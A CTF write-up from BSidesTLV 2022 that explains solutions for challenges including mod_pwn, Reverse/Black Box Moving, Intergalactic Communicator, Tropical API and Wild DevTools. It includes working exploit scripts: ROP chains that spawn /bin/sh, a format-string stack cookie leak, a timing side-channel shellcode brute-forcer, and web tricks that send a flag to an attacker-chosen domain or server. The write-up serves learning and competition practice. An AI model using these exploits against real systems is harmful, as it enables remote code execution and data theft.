BSidesTLV2022 Writeups

June 30th 2022

mod_pwn (200)

We get an apache module, it's basically just a webpage but in compiled form there is the following struct:

struct _welcome_msg_obj
{
  char name[128];
  char *suffix;
  char color[32];
};

the suffix pointer is set the base+0x2100, the flag is at offset 0x2120, so by entering the name which is 128 chars followed by a space (0x20 in ascii) we get the flag

Reverse Moving (300)

It's a C++ JIT which generates assembly instructions based on some pseudo-language. The name reverse moving probably stems from the fact that in contrast to intel assembly the operands are reversed, but then again, that's just AT&T syntax...

Anyway, we somehow have to exploit the moving so we get the flag in the output buffer (pointed to by rdi when executing the code we wrote).

mov r10, qword ptr [rsp]
mov qword [rdi], rsp
mov byte [rdi], 0
mov rsp, qword [rdi]

mov rsi, rdi
mov dword [rdi], 0x6c662f2e
mov dword [rdi+4], 0x006761
mov rdx, 0x100

mov qword [rsp], r10
mov word [rsp], 0xae26
mov qword [rsp+8], r10

this will jump to the read file routine with "./flag" as argument, writing the stuff into the output buffer (rdi). This sadly requires a bit of luck as we need to guess a single nibble (so 4 bits) of aslr for this to work. To convert the actual assembly into the pseudo-language I simply wrote a small script:

code = x.split("\n")

movs = ""
decls = ""

i = 0
for l in code:
    if l.strip() == "":continue
    l,r = l[4:].split(", ")
    decls += f"My a{i} is {l}\n"
    decls += f"My a{i+1} is {r}\n"
    movs += f"Put a{i+1} in my a{i}\n"
    i += 2

print(movs+"\n"+decls)

Black Box Moving (500)

We have the same setup as for the reverse moving challenge, except this time there won't be any output based on our input... So we need to become a bit more creative. I ended up writing a ropchain which executes shellcode, this can easily be done as there is a function which simply makes the code at rdi executable and then jumps to it, so we set up shellcode by moving into the output buffer, then execute that function. The shellcode just loads the flag file, reads the flag into memory, then checks if a the char at the current position is a specific char, if it is we enter an infinite loop, else we just exit.

With this we can detect the correct char at any position by measuring the time it takes for us to get an answer, since it still waits for termination / timeout even if it doesn't print anything.

import time
from requests import post
from pwn import *
context.arch="amd64"

xx="""
mov r10, qword [rsp] # load return address

mov qword [rdi], rdi # floor rdi
mov word [rdi], 0
mov rdi, qword [rdi]

mov rdx, 7
mov esi, 0x1000
mov rbp, rdi

mov qword [rsp], r10
mov byte [rsp], 0x18
"""


for pos in range(100):
    for char in string.printable:
        x = xx[:]
        shellcode = asm(shellcraft.open("flag") + shellcraft.read("rax", "rsp", 0x100) + 
                f"cmp byte ptr [rsp+{pos}], {ord(char)}; jne exit; a: jmp a; exit:" + 
                shellcraft.exit(0))
        shellcode += b"\x00" * (4 - (len(shellcode) % 4))
        data = ""
        off = 0
        while shellcode:
            d = u32(shellcode[:4])
            x += f"mov dword [rdi+{off}], 0x{d:x}\n"
            off += 4
            shellcode = shellcode[4:]

        code = x.split("\n")

        movs = ""
        decls = ""

        i = 0
        for l in code:
            l = l.split("#")[0].strip()
            if l.strip() == "":continue
            l,r = l[4:].split(", ")
            decls += f"My a{i} is {l}\n"
            decls += f"My a{i+1} is {r}\n"
            movs += f"Put a{i+1} in my a{i}\n"
            i += 2

        with open("inp", "w") as f:
            f.write(movs+"\n"+decls)

        couldbeit = True
        for _ in range(1):
            s = time.time()
            r = post("https://black-box-moving.ctf.bsidestlv.com/submit",data={"instructions":movs+"\n"+decls})
            e = time.time()

            if e-s < 1:
                couldbeit = False
                break

        if couldbeit:
            print(f"Possible for pos {pos}: {char}")
            break

Intergalactic Communicator (500)

We get a tar gz archive with a docker container inside (An archived docker container), the main thing inside we are interested in is the binary running on the remote, so we either import the docker container or extract the layers until we find the binary in /usr/src/app/main

Part 1: Reversing

Header & checksum

The binary inside the docker container is statically compiled and stripped, so it must be a hard challenge (as it turns out it actually isn't, it's just cancerous).

We start at the function start (entrypoint) inside the binary, this calls libc_start_main, where the first argument is the main function, going into that we see that it runs an infinite loop and if it breaks it prints "invalid packet", making an educated guess and saying that that function probably is fwrite, the next one after that probably is exit, then there are only three more functions, the first of which looks like a memset call, to set a buffer of size 2048 to zero, the second one looks like fread (Again looking at the arguments and seeing the stdin in fourth place).

So we read four bytes, put that into a variable, then swap the endianess of said variable, if that value is now less than 12 we print "invalid protocol header", so we have 12 bytes of header data, next we read the amount of bytes specified by our input. So this input must have been the packet length, the rest of the data is the payload.

This also means the last remaining function is the function responsible for handling the packet data, it gets the packet data and its size. In that function we load the first eight bytes of the data, xor it with two different values and store those in a 16 byte buffer (The constants spell out NotFlag! and JustKey! respectively, so I name the buffer key). next we call a function where we give this buffer as first argument, then the packet data (after the first eight bytes), then 16 and finally the packet length minus eight. So we are entering the key and data and their sizes.

Looking at that function we see a few assertions (including file name, line number and function name & arguments), so we can already name all of those. If you've ever reversed malware (or some "secure" c2 server), this encryption might look familiar, as it is just doing rc4 encryption. It mallocs a new buffer for the output and returns a pointer to that.

Back in the function handling the packet we call memset on the packet data again, then a function which takes the packet data pointer, the decrypted data pointer and the size of the data, so this is probably just a memcpy. Then we clear the allocated buffer and call free on it (Actually I didn't reverse that function, I again just guessed it probably is free, since we don't use the buffer afterwards).

Next we have an if which checks that the output of a function, which takes the data and its size, is equal to the first eight bytes of the packet - which we used as the key for the decryption. If the check fails, we print "checksum failed" and exit, so this makes it pretty clear that we're using some sort of checksum. Looking at the function we see that there is a lookuptable. Googling the first (nonzero) constant in that table leads us to the crc64 implementation of redis which looks exactly like the implementation we got. So either we implement this in python or we write the exploit in C and use this implementation... Or we just use pwntools generic_crc which will work the same as this implementation by just giving it the arguments which are defined at the top of the redis implementation.

Next, if the checksum was correct, the packet data (without the checksum header) is passed into another function, which then first takes an int from the data (Finalizing the header) and performs a switch on the value of that, there are five actions we can perform, it seems that the first one just prints a number, so we change the function call with the format specified to sprintf, the buffer we write into is used after the switch, first we put it into a function which returns an int, which we send to the other side using fwrite, then we pass the buffer into a second function. This looks like we're just sending the size of the buffer and then the buffer, so I rename the functions to strlen and write_buffer and the buffer to output_data respectively. (I ignored the first if case in the function as it had to with futexes and those are rarely important).

API

So now we know how to communicate (and we can already write a script to communicate which just sends packets and receives the answer), however the interesting part starts now as we have to reverse the actual part we can interact with, so let's look at the switch.

The first case just returns a numberm which is the result of a function call with an object which seems to be referenced a lot.

The second case takes another int from the input data, puts it into a function together with the weird object. Then we call a function which just dereferences the returned value. Venturing a bit into the first function we find the string vector::_M_range_check, which means the object is likely just a vector and judging by the arguments this is probably just the operator[], the returned value is dereferenced, which leads me to believe that it's a c++ string and we called the c_str method on it. Considering this, we now can make a guess about the first case in the switch, that being it's just getting the size of the vector. Next we call snprintf (again based on the arguments), into a temporary buffer, then we call some other method which again calls printf?? Yes as it looks like the temporary buffer is used as the format for a printf to the output buffer... Well, if that's not handy...

The next case takes the rest of the buffer as a string (char*) and calls another function with it, which probably means it's inserting that into the list. Then we get the iterator and end iterator of that returned string, then we clear the topmost bit of every char along the way (We iterate over all the chars we just put into the string) This is likely to limit us to ascii-only values, but we'll see about that

The fourth case just calls a function and returns "OK", my guess was this clears the list and with a bit of experimenting that seemed to be the case (not that I had to use this functionality)

The last case is again using an iterator, this time over the string in the list, and it just concatenates them all into a giant string, which is on the stack... In a buffer of size 2048... Where every string can have up to 2048 chars... So yeah, this could be used to overflow the stack quite a bit.

Implementation

I implemented this protocol client in python:

from pwn import *
from arc4 import ARC4

class Comm:
    crc64 = lambda x: crc.generic_crc(polynom=0xad93d23594c935a9,width=64,refin=True,refout=True,xorout=0,init=0,data=x)

    def __init__(self,r):
        self.r = r

    def send_packet(self, data):
        checksum = Comm.crc64(data)
        key = p64(checksum ^ 0x2167616C46746F4E) + p64(checksum ^ 0x2179654B7473754A)
        rc4 = ARC4(key)
        data = rc4.encrypt(data)
        totransmit = p32(len(data) + 8, endian="big") + p64(checksum) + data
        self.r.send(totransmit)

    def recv_packet(self):
        length = u32(self.r.recvn(4))
        data = self.r.recvn(length+1)
        return data

    def size(self):
        self.send_packet(p32(1))
        return int(self.recv_packet())

    def get(self, idx, optional=None):
        if not optional:
            optional = b""
        self.send_packet(p32(2) + p32(idx) + optional)
        return self.recv_packet()

    def add(self, data):
        self.send_packet(p32(3) + data)
        return self.recv_packet()

    def clear(self):
        self.send_packet(p32(4))
        return self.recv_packet()

    def broadcast(self):
        self.send_packet(p32(5))
        return self.recv_packet()

To use this class you have to give it a pwntools pipe as constructor argument and then you can call the individual functions (Not that I only added the optional packet data into the get method, but you could put that in all the methods, I only needed it in the get function)

Part 2: Pwn

The year is 2022 AD, Strings are entirely ascii. Well not entirely! One small part of memory still holds out against the ascii-fication.

Well, first of all we want to leak data, like the aslr base and the stack cookie, as well as the stack address (We might not need it, but I mean, why not)

To do this we just add a string with the text %529$p %533$p %532$p, then print that string using the get method. We get these numbers by taking the size of the stack frame (0x1078), dividing that by eight and then adding six (The first six arguments are in registers, and on the stack every argument is eight bytes). That is the pointer to the saved return address, just before that is the saved rbp, and for some reason 3 spaces further back is the stack cookie.

Now with these values we can just rop, right? Well yes, but actually no, but actually actually yes.

The author made all the strings ascii-only, so we would have had to wait for the stack cookie and the aslr base to be ascii-only for an exploit, which seemed unrealistic, so I scrapped that idea (Which was the intended solution btw...), then I noticed that the decrypted buffer is copied from the heap onto the stack (for some reason) before it's being processed. Which means we have all the binary values of the current packet on the stack, or if we haven't overwritten them the previous ones.

Which means instead of looking at the current stack frame we look a bit further up in the stack frame of main and voilĂ , we find the values we are looking for, luckily pwntools not only has the function fmtstr_payload, but also fmtstr_split, which returns the format string and the binary data required.

So after leaking the values, we can continue to create a ropchain (pwntools actually worked here, so just do a call to execve, don't forget to set the base stack address). Next we somehow want the thing to jump to our payload, so we make a formatstring payload which uses the binary data in the packet and overwrites the return address with a ropgadget to increase the stack pointer (So it ends up in our buffer)

Next we just add the format, then get the string (which executes the vulnerability), with optional data being set to the formatstring payload and the ropchain.

There are some magic values, but they're not really that magic, the base stack address is just calculated, since we have two returns and the gadget increases the stack address by 0x78, we have a total of 0x88 bytes, the 0x14fd22 is the offset to that gadget, the 553 is the offset into the buffer in the stack frame of main (which can be calculated using the stack frame sizes of all functions up to main and the return addresses, or by guessing and adjusting)

The final payload has some space in between the format string data and the ropchain, which i just filled with a bunch of 0s.

if args.LOCAL:
    if args.GDB:
        r = gdb.debug(["./main"],aslr=False)
    else:
        r = process(["./main"])
else:
    r = remote("intergalactic-communicator.ctf.bsidestlv.com", 8080)
comm = Comm(r)

context.binary = exe = ELF("./main")

comm.add(b"%529$p %533$p %532$p")
leaks = comm.get(0)[20:]
stack_cookie = int(leaks.split(b" ")[0],16)
exe.address = int(leaks.split(b" ")[1],16) - 0x1C27E
stack_address = int(leaks.split(b" ")[2],16)
info("Stack cookie: 0x%x, ASLR base: 0x%x, Stack addr: 0x%x", stack_cookie, exe.address, stack_address)

rop = ROP(exe,base=stack_address+0x88)
#rop.raw(rop.find_gadget(["ret"]).address)
rop.call('execve', [b'/bin/sh', [["sh"], 0], 0])
start_addr = stack_address + 8
ropchain = rop.chain()

comm.clear()
fmt,data = fmtstr_split(553, {
    start_addr: exe.address + 0x14fd22
}, numbwritten=20)
comm.add(fmt)
data = data + b"0"*(0x50 - len(data))
comm.get(0, data+ropchain)

r.sendline(b"ls")
r.interactive()

Healthcheck

Found this on the remote called health_check.py

import socket
import sys
import re

server = 'localhost'
port = 8080
check = b'\x00\x00\x00\x0c\xa9\xff\xaf\xc0\xbc\x1b\xacW5\xc9A\x11'
leak = b"\x00\x00\x00>\\E\xc5h\x06\xc4\xd3c\xb4Ng\x04-\x10\xa1\x05fJ\xfb]\xbff*Ww46\xe1\xfb2\x80k\xd43\t)\xd7`\xc4\x91\xec\x9e\xef\xb2rC\x12J\xcb\x83\x1a2o\xfc\xb3\x0f\x190\xaf\x9a\xaf'"
read = b'\x00\x00\x00\x10\x88\x88\xde\x92+\x00:pu\x92\xe5\xb8\xd6\xd0w\xf7'

def send_exploit(sock, buffer: bytes, read_response=False, health=False):
    sock.send(buffer)

    if read_response:
        size = int.from_bytes(sock.recv(4), 'little')
        resp = sock.recv(size + 1)

        if health:
            if b'Welcome to the Intergalactic Communicator' not in resp:
                sock.close()
                sys.exit(1)
            return True

        if b'canary:' in resp:
            match = re.findall(rb'shellcode:([0-9A-Fa-fXx]*?):base:([0-9A-Fa-fXx]*?):canary:([0-9A-Fa-fXx]*?):', resp)
            return True

        return False


def get_connection(ip: str, port: int) -> socket.socket:
    sock = None
    while sock is None:
        try:
            sock = socket.create_connection((ip, port))
        except ConnectionRefusedError:
            continue
    return sock


def main():
    conn = get_connection(server, port)
    try:
        # Checking for welcome message
        if not send_exploit(conn, check, True, True):
            conn.close()
            sys.exit(1)

        # Sending leak payload
        send_exploit(conn, leak, True)

        # Checking if leaked pointers
        if not send_exploit(conn, read, True):
            conn.close()
            sys.exit(1)
    except:
        conn.close()
        sys.exit(1)
    conn.close()
    sys.exit(0)


if __name__ == '__main__':
    main()

Final remarks

The challenge was statically compiled and stripped, which is just an artificial increase in difficulty, in the end there was nothing in this challenge which made it worth the 500 points it was (in my opinion). But people couldn't solve it (probably also due to the reversing part), which makes the authors believe they actually made a hard challenge.

This is not the case, this challenge was pretty easy once I had the packet sending done, I just had to find a bunch of offsets and was done. Also the intended solution for the pwn part was ridiculous, I don't want to bruteforce 16000 to 20000 attempts just to get ascii (and non-null) stack cookie & aslr base, that is not fun to exploit on a remote system where every connection takes way longer than locally.

TLDR: pwn too easy, rev cancer.

Tropical API (150)

We get a server.js which is the backend for a service which will send a request with the flag to any endpoint http://${fqdn}.ping-proxy/ping where fqdn is checked to be hexadecimal only and 32 chars. Well, the problem is that the regex is used on multiple strings (we can enter multiple domains), so by making the first a very long sequence of hex chars followed by something non-hex, the regex object will store the position it found the match and for the next test it will continue from that position. The next fqdn then just is 32 hex chars, followed by any non-hex char and the domain you want the flag sent to:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaz
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.<xyz.com>

The Buffer.from will stop parsing the hex chars once it finds something non-hex, so the size of it will be 16 bytes, as required.

Wild DevTools (500)

It's basically just liveoverflows screenshotter; except we don't have to do any xss, we can request any site. We can iterate over the ports from 9000 to 11000 and make a request to localhost:port, disabling cors so we just get if it hit or not. Then we can set the src of an iframe to localhost:port/json/new?file:///tmp/flag.txt, we get the screenshot with the websocket url to debug the flag tab.

Now we need to be quick and transfer that to another payload and make a screenshot of that. That second page will make a websocket connection to the websocket endpoint for the flag tab and will send

var msg = {
    id: 1,
    method: "Runtime.evaluate",
    params: {expression:"document.body.innerHTML"}
};

then in the ws.onmessage we just send the answer to our server (or put it on screen and read it from the screenshot)

Guess the shellcode 1 (100)

We just need to make the shellcode whole again 0503040180 are the syscall numbers (and the final syscall itself) we need to fill in to get the correct shellcode to read the file flag1

Guess the shellcode 2 (250)

Same idea as before, except this time we need to make the "flag" ourselves, by making the first constant xor 0x13333337 equal to "flag", then we have to skip a weird jump and finally we have to make one of the jumps be the same as the others (which was kinda weird and took me way too long to figure out) 515F527405B003909090902ECD80

Guess the shellcode 3 (350)

The first part is a loop which decodes the later part, it goes through every second byte, subtracts 0x41, does the same to the following byte and then puts them together (Kinda like hex, but not quite). To make the loop complete we need to increase the variables in the registers, so we have to use 4043434646 (any order of these will do of course).

The rest is the same shellcode as the first reverse the shellcode (except for some offsets maybe and the fact that we're reading flag3), but encoded using every nibble and then adding 0x41 to that. (I noticed that the nibbles I had were similar to the shellcode from the first reversing part)

James Webb (150)

The binary was just a small webserver, listening on port 31337 and receiving packets. The first four bytes had to be "WEBB", then the username (16 chars) had to be "admin", the password had to have the sha1 hash of 372A9FF7057FAAD7321AAFD1EA5D875BE7ABE643, and have the format dd:mm:yy and the hint was that it was the launch date. So either by bruteforcing or by googling the launch date of the james webb telescope we find the password to be 25:12:21, then we have to send an opcode what to do, we want that to be 1, then another 1 (number of arguments). Then we have one argument, which should just be the string "MIRI", all in all we get this:

from pwn import *
r = remote("james-webb.ctf.bsidestlv.com",31337)
r.send(b"WEBBadmin\x000000000000000025:12:21\x0000000000000\x01\x00\x01\x00\x00\x00MIRI\x00000000000000000")
r.interactive()

handsfree (250)

First we need to extract the payloads from the pcap: tshark -r handsfree.pcap -T fields -e btl2cap.payload btl2cap.payload then we need to extract the sbc data, this can easily be done by just getting rid of the first 13 bytes in the payloads. Lastly we decode it with sbcdec to get playable audio

x = b""
with open("payloads","r") as f:
    d = f.read().split("\n")
for l in d:
    if len(l) > 20:
        x += bytes.fromhex(l.strip())[13:]

from pwn import *

with open("tmp_out", "wb") as f:
    f.write(x)
p = process(["sbcdec", "-v", "-f", "out", "tmp_out"])
out = p.recvall()
p.wait()
print(out)

And finally one had to guess that there are dashes in between the words instead of underscores.


< UIUCTF 2022 - revop (1 solve) | Bufferoverflows >